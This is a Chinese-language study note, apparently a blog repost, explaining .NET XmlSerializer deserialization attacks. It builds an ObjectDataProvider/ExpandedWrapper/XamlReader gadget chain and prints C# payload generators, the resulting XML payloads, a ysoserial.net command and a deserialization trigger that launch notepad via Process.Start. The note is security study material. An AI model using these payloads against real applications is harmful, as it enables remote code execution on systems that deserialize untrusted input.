• 学习笔记-.net安全之XmlSerializer反序列化


    0x00 简介

    反序列化学习主要用到如下资料:

    1..NET反序列化payload生成工具ysoserial.net

    2.attacking-net-serialization其中列举了多种反序列化漏洞

    3.BH_US_12_Forshaw_Are_You_My_Type_WP.pdf

    0x01 XmlSerializer序列化

    System.Xml.Serialization.XmlSerializer类他可以将对象序列化到XML文档中和从XML文档中反序列化对象,在这个过程中构造XmlSerializer对象期间需要指定它将处理的类型XmlSerializer(Type) 传入的Type也就是我们的重点关注对象,因为Type类,是用来包含类型的特性。类型信息包含数据,属性和方法等信息。如果我们传入一个特定的payload那么我们就可以调用他的方法了。

    首先我们先熟悉一下XmlSerializer的序列化

    code:1.0

    1. namespace XmlSerializers
    2. {
    3. class Program
    4. {
    5. static void Main(string[] args)
    6. {
    7. test fof = new test();
    8. fof.id = "404s";
    9. XmlSerializer xmlFormatter = new XmlSerializer(typeof(test));
    10. using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None))
    11. {
    12. xmlFormatter.Serialize(stream, fof);
    13. }
    14. }
    15. }
    16. [XmlRoot("test")]
    17. public class test
    18. {
    19. string _id = "404";
    20. [XmlElement]
    21. public string id {
    22. get { return _id; }
    23. set
    24. {
    25. _id = value;
    26. }
    27. }
    28. }
    29. }

    其中[XmlRoot("test")]指定的元素将被序列化成xml的根元素,[XmlElement]为指定类的公共域或读/写属性,具体可以参考.net序列化及反序列化

    404.xml

    1. <?xml version="1.0"?>
    2. <test xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    3. <id>404s</id>
    4. </test>

    如果我们把这段代码换成如下:

    code:1.1

    1. namespace XmlSerializers
    2. {
    3. class Program
    4. {
    5. static void Main(string[] args)
    6. {
    7. ExecCMD fof = new ExecCMD();
    8. fof.cmd = "cmd";
    9. XmlSerializer xmlFormatter = new XmlSerializer(typeof(ExecCMD));
    10. using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None))
    11. {
    12. xmlFormatter.Serialize(stream, fof);
    13. }
    14. }
    15. }
    16. [XmlRoot("ExecCMD")]
    17. public class ExecCMD
    18. {
    19. private String _cmd = "notepad";
    20. [XmlElement]
    21. public String cmd
    22. {
    23. get { return _cmd; }
    24. set
    25. {
    26. _cmd = value;
    27. ExecCommand();
    28. }
    29. }
    30. private void ExecCommand()
    31. {
    32. Process myProcess = new Process();
    33. myProcess.StartInfo.FileName = _cmd;
    34. myProcess.Start();
    35. myProcess.Dispose();
    36. }
    37. }
    38. }

    程序本意是调用notepad.exe,我们在序列化的过程中把_cmd的值改成cmd 然后序列化/反序列化他将调用CMD.EXE,当然实际是基本遇不到这种情况的。

    404.xml

    1. <?xml version="1.0"?>
    2. <ExecCMD xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    3. <cmd>cmd</cmd>
    4. </ExecCMD>

    0x01 XmlSerializer反序列化

    前面说过构造XmlSerializer对象期间需要指定它将处理的类型XmlSerializer(Type),获取Type有一般有有3种方式:a.使用typeof运算符 b.使用GetType()方法 c.使用Type类的静态方法GetType()。

    1.1 typeof运算符

    我们把code:1.1中的Main函数换成如下

    1. static void Main(string[] args)
    2. {
    3. using (StringReader rdr = new StringReader("1.0\" encoding=\"gb2312\"?> http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"> cmd.exe "))
    4. {
    5. ExecCMD execCMD;
    6. XmlSerializer serializer = new XmlSerializer(typeof(ExecCMD));
    7. execCMD = (ExecCMD)serializer.Deserialize(rdr);
    8. Console.WriteLine(execCMD.cmd);
    9. Console.WriteLine(typeof(ExecCMD));
    10. }
    11. }

    其中传入的XML就是code:1.1生成的404.xml运行程序看到如下:

    1.2 GetType()方法

    GetType()是基类System.Object的方法,因此只有建立一个实例之后才能够被调用

    1.3 Type类的静态方法GetType(string)

    相比前面的2种方法,Type.GetType(string) 允许传入自定义字符串,那么灵活性更高。

    至此我们的利用链应该是:

    这种方式还是比较被动,我们是否可以执行任意类的任意方法,这样我们的利用过程就更为主动,这里就要引入ObjectDataProvider类。

    0x02 寻找利用链

    2.0 ObjectDataProvider

    ObjectDataProvider用于包装和创建可以用作绑定源的对象,听起来比较抽象,可以理解为可以调用一个方法,并且传入参数。

    code 2.0

    1. public static void test()
    2. {
    3. ObjectDataProvider objectDataProvider = new ObjectDataProvider();
    4. objectDataProvider.ObjectInstance = new MyClasss();
    5. objectDataProvider.MethodName = "PullFile";
    6. objectDataProvider.MethodParameters.Add("cmd");
    7. XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) });
    8. TextWriter textWriter = new StreamWriter(@"data.xml");
    9. serializer1.Serialize(textWriter, objectDataProvider);
    10. }
    11. public class MyClasss
    12. {
    13. public void PullFile(string _cmd)
    14. {
    15. Process myProcess = new Process();
    16. myProcess.StartInfo.FileName = _cmd;
    17. myProcess.Start();
    18. myProcess.Dispose();
    19. }
    20. }

    但是这样生产会报错,原因好像是XmlSerializer 序列化只会找他的基类,所以objectDataProvider.ObjectInstance = new MyClasss();这里就没办法找到,要解决这个问题可以用XmlSerializer(Type, Type[]) 或者用ExpandedWrapper预加载实体

    2.0.1 XmlSerializer(Type, Type[])

    code 2.1

    1. ObjectDataProvider objectDataProvider = new ObjectDataProvider();
    2. objectDataProvider.ObjectInstance = new MyClasss();
    3. objectDataProvider.MethodName = "PullFile";
    4. objectDataProvider.MethodParameters.Add("cmd");
    5. XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) });
    6. TextWriter textWriter = new StreamWriter(@"data.xml");
    7. serializer1.Serialize(textWriter, objectDataProvider);

    data.xml

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <ObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    3. <ObjectInstance xsi:type="MyClasss" />
    4. <MethodName>PullFile</MethodName>
    5. <MethodParameters>
    6. <anyType xsi:type="xsd:string">cmd</anyType>
    7. </MethodParameters>
    8. </ObjectDataProvider>

    2.0.2 ExpandedWrapper预加载实体

    code 2.2

    1. ExpandedWrapper<MyClasss, ObjectDataProvider> myExpWrap = new ExpandedWrapper<MyClasss, ObjectDataProvider>();
    2. myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
    3. myExpWrap.ProjectedProperty0.ObjectInstance = new MyClasss();
    4. myExpWrap.ProjectedProperty0.MethodName = "PullFile";
    5. myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
    6. XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<MyClasss, ObjectDataProvider>));
    7. TextWriter textWriter = new StreamWriter(@"data.xml");
    8. serializer1.Serialize(textWriter, myExpWrap);

    data.xml

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <ExpandedWrapperOfMyClasssObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    3. <ProjectedProperty0>
    4. <ObjectInstance xsi:type="MyClasss" />
    5. <MethodName>PullFile</MethodName>
    6. <MethodParameters>
    7. <anyType xsi:type="xsd:string">cmd.exe</anyType>
    8. </MethodParameters>
    9. </ProjectedProperty0>
    10. </ExpandedWrapperOfMyClasssObjectDataProvider>

    反序列化触发:

    至此我们已经可以使用ObjectDataProvider 调用引用类文件的方法了。但是MyClasss类也是我们自己设计的,在实际环境中可能还是不存在这种理想化模型,由于ObjectDataProvider可以调用Process.Start,但是不能直接序列化,所以我们需要找到一个途径来间接调用Process.Start

    2.1 XamlReader

    XamlReader他有一个方法Parse(String) 是传入一个字符串,返回根对象,那么我们用ObjectDataProvider构造传参一个XAML,同时XAML的ObjectDataProvider调用Process.Start那么利用链就成功了。

    2.2 ResourceDictionary

    要生成XAML还需要引用ResourceDictionary类。

    2.3 生成payload

    code 2.3

    1. public static void xaml_data()
    2. {
    3. ObjectDataProvider objectDataProvider = new ObjectDataProvider();
    4. objectDataProvider.ObjectType = typeof(System.Diagnostics.Process);
    5. objectDataProvider.MethodParameters.Add("notepad.exe");
    6. objectDataProvider.MethodName = "Start";
    7. ResourceDictionary R_xaml = new ResourceDictionary();
    8. R_xaml.Add("test", objectDataProvider);
    9. string xaml_data;
    10. using (MemoryStream stream = new MemoryStream())
    11. {
    12. XamlServices.Save(stream, objectDataProvider);
    13. stream.Position = 0;
    14. StreamReader reader = new StreamReader(stream);
    15. xaml_data = reader.ReadToEnd();
    16. stream.Close();
    17. }
    18. Console.WriteLine(xaml_data);
    19. }
    20. public static void xml_payload()
    21. {
    22. ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider> myExpWrap = new ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>();
    23. myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
    24. myExpWrap.ProjectedProperty0.ObjectInstance = new System.Windows.Markup.XamlReader();
    25. myExpWrap.ProjectedProperty0.MethodName = "Parse";
    26. myExpWrap.ProjectedProperty0.MethodParameters.Add(xaml_data());
    27. using (MemoryStream stream = new MemoryStream())
    28. {
    29. XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>));
    30. xml.Serialize(stream, myExpWrap);
    31. stream.Position = 0;
    32. StreamReader reader = new StreamReader(stream);
    33. Console.WriteLine(reader.ReadToEnd());
    34. Console.WriteLine(typeof(ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>).AssemblyQualifiedName);
    35. }
    36. }

    xaml_data() 生成XamlReader()调用的xaml文件,ObjectDataProvider调用XamlReader()传参xaml整个利用链的payload就完成了, typeof(ExpandedWrapper).AssemblyQualifiedName是获取程序集限定名,用于传入Type

    exp.xml

    1. <?xml version="1.0"?>
    2. <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    3. <ProjectedProperty0>
    4. <ObjectInstance xsi:type="XamlReader" />
    5. <MethodName>Parse</MethodName>
    6. <MethodParameters>
    7. <anyType xsi:type="xsd:string">&lt;ObjectDataProvider MethodName="Start" ObjectType="sd:Process" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&gt;
    8. &lt;ObjectDataProvider.MethodParameters&gt;
    9. &lt;x:String&gt;notepad.exe&lt;/x:String&gt;
    10. &lt;/ObjectDataProvider.MethodParameters&gt;
    11. &lt;/ObjectDataProvider&gt;</anyType>
    12. </MethodParameters>
    13. </ProjectedProperty0>
    14. </ExpandedWrapperOfXamlReaderObjectDataProvider>

    注:使用XamlReader等需要引用对应的模块

    2.4 复现

    code 2.4 反序列化

    1. using (StringReader rdr = new StringReader("payload"))
    2. {
    3. XmlSerializer serializer = new XmlSerializer(Type.GetType("System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"));
    4. serializer.Deserialize(rdr);
    5. }

    2.5 ysoserial.net

    以上其实是ysoserial.net生成的payload反推。

    ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "notepad.exe" -o raw

    1. <?xml version="1.0"?>
    2. <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    3. <ExpandedWrapperOfXamlReaderObjectDataProvider>
    4. <ExpandedElement/>
    5. <ProjectedProperty0>
    6. <MethodName>Parse</MethodName>
    7. <MethodParameters>
    8. <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
    9. &lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;
    10. &lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;
    11. &lt;ObjectDataProvider.MethodParameters&gt;
    12. &lt;System:String&gt;cmd&lt;/System:String&gt;
    13. &lt;System:String&gt;/c notepad.exe&lt;/System:String&gt;
    14. &lt;/ObjectDataProvider.MethodParameters&gt;
    15. &lt;/ObjectDataProvider&gt;
    16. &lt;/ResourceDictionary&gt;
    17. </anyType>
    18. </MethodParameters>
    19. <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
    20. </ProjectedProperty0>
    21. </ExpandedWrapperOfXamlReaderObjectDataProvider>
    22. </root>

    这里把payload分成2部分使用

    Type

    System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

    XML

    1. <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    2. <ExpandedElement/>
    3. <ProjectedProperty0>
    4. <MethodName>Parse</MethodName>
    5. <MethodParameters>
    6. <anyType xsi:type="xsd:string">
    7. &lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;
    8. &lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;
    9. &lt;ObjectDataProvider.MethodParameters&gt;
    10. &lt;System:String&gt;cmd&lt;/System:String&gt;
    11. &lt;System:String&gt;/c notepad.exe&lt;/System:String&gt;
    12. &lt;/ObjectDataProvider.MethodParameters&gt;
    13. &lt;/ObjectDataProvider&gt;
    14. &lt;/ResourceDictionary&gt;
    15. </anyType>
    16. </MethodParameters>
    17. <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
    18. </ProjectedProperty0>
    19. </ExpandedWrapperOfXamlReaderObjectDataProvider>

    这里位于anyTypexmlns:xsi如果按照生成的payload使用会造成xsi是未声明的前缀,所以这里我把他提前到ExpandedWrapperOfXamlReaderObjectDataProvider

    0x03 总结

    .NET反序列化的攻击链还是比较难找。审计的话就看typexml 这2个值是否可控。

    文章如有错误,多多提醒,万分感谢

    参考文章:

    《.NET高级代码审计(第一课)XmlSerializer反序列化漏洞》

    《.Net反序列化那些事》

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    基于HTML+CSS+JavaScript制作学生网页——外卖服务平台10页带js 带购物车
    《C++游戏编程入门》第9章 高级类与动态内存:Game Lobby
    kalman滤波与目标跟踪2: kalman滤波代码讲解
    使用node实现websocket
    华为OD机考:单词接龙C++实现
    poshmark前景,怎么快速提升销量!
    这样delete居然不走索引
    JJJ:grep合集
    Linux系统--------内核参数调优、一键安装nginx、tomcat调优
    错字修改 | 布署1个中文文文本拼蟹纠错模型
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127729214